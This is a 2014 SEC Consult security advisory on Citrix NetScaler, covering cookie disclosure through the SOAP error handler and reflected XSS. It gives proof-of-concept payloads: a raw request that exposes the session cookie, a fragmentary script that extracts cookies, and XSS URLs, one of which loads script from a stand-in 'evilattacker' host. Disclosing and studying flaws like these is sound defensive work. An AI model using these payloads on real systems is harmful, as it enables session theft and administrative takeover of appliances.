Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller

SEC Consult Vulnerability Lab Security Advisory < 20140716-2 >


title: Multiple vulnerabilities

product: Citrix NetScaler Application Delivery Controller

Citrix NetScaler Gateway

vulnerable version: <9.3-62.4


fixed version: >=9.3-62.4


CVE: CVE-2014-4346, CVE-2014-4347

impact: High


found: 2014-01-05

by: Stefan Viehböck

SEC Consult Vulnerability Lab


Vendor/product description:


"Citrix NetScaler helps organizations build enterprise cloud networks that

embody the characteristics and capabilities that define public cloud services,

such as elasticity, expandability and simplicity. NetScaler brings to

enterprise IT leaders multiple advanced technologies that were previously

available only to large public cloud providers."

"As an undisputed leader of service and application delivery, Citrix NetScaler

solutions are deployed in thousands of networks around the globe to optimize,

secure and control the delivery of all enterprise and cloud services. They

deliver 100 percent application availability, application and database server

offload, acceleration and advanced attack protection. Deployed directly in

front of web and database servers, NetScaler solutions combine high-speed load

balancing and content switching, http compression, content caching, SSL

acceleration, application flow visibility and a powerful application firewall

into a single, easy-to-use platform."



Business recommendation:


Attackers can exploit XSS and other vulnerabilities that lead to cookie disclosure

to execute administrative actions.

Affected Systems should be updated as soon as possible.


Vulnerability overview/description:


1) Cookie disclosure

The error handler in the Apache g_soap module prints all of the request header

information including the HTTP Cookie field. This vulnerability can be used in

XSS attacks to gain access to the otherwise well protected (HttpOnly) "SESSID"

cookie of an administrator.

2) Reflected Cross-Site Scripting (XSS)

Citrix Netscaler suffers from multiple reflected Cross-Site Scripting

vulnerabilities, which allow an attacker to steal user information,

impersonate users and perform administrative actions on the appliance.

There are many parameters which are not properly sanitized and thus

vulnerable to XSS.


Proof of concept:


1) Cookie disclosure

A GET request to the SOAP handler returns the following information:

GET /soap HTTP/1.1
Host: <host>

HTTP/1.1 200 OK
Content-Type: text/html

  <H1>mod_gsoap Apache SOAP Server Error</H1>
<p><strong>No body received</strong>
<br>Cookie: SESSID=*SESSION ID*;

In combination with an XSS vulnerability (see 2) an attacker can use the following

code to extract cookies including the SESSID cookie of an administrator:

var request = new XMLHttpRequest();'GET', '/soap', false);
for (var i in lines){
    if (lines[i].indexOf('Cookie')==0){

2) Reflected Cross-Site Scripting

Accessing the following URL will include the Javascript code from http:// evilattacker/evil.js:

http:// <host>/menu/topn?name=";<%2fscript><script+src%3d"http:%2f%2fevilattacker%2fevil.js"><%2fscript>

Other pages do not sanitize user input properly as well:

http:// <host>/pcidss/launch_report?type=AA";alert('xss');x="

http:// <host>/menu/guiw?nsbrand=AA<"'>AA&protocol=BB<"'>BB&id=CC<"'>CC

Note: Content-Type is application/x-java-jnlp-file, so the injected script code

is not interpreted. However, it is possible to inject arguments into a Java

JNLP file, which might be used in further attacks.


Vulnerable / tested versions:


The vulnerabilities have been verified to exist in Citrix NetScaler VPX 10.0,

which was the most recent version at the time of discovery.

According to the vendor versions before 10.1-126.12 and 9.3-62.4 are vulnerable


Vendor contact timeline:


2014-01-09: Sending advisory and proof of concept exploit via encrypted


2014-01-17: Vendor acknowledges receipt of advisory.

2014-04-04: Requesting status update.

2014-06-10: Vendor is "in the process of scheduling the release of a security


2014-07-07: Requesting list of affected/non-affected versions CVE-IDs.

2014-07-07: Vendors is "still in the final stages of releasing the bulletin".

2014-07-07: Requesting info about cause of delay.

2014-07-07: Vendor is "still hopeful that the bulletin will be available soon".

2014-07-14: Vendor states that fixed version will be available on July 15/16.

2014-07-16: SEC Consult releases coordinated security advisory.




Update to a more recent version of Citrix NetScaler.

More information can be found at:




No workaround available.


Advisory URL:




SEC Consult Vulnerability Lab

SEC Consult

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Mooslackengasse 17, 1190 Vienna, Austria

Phone: +43 1 8903043 0

Fax: +43 1 8903043 15

Mail: research at sec-consult dot com




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EOF Stefan Viehböck / @2014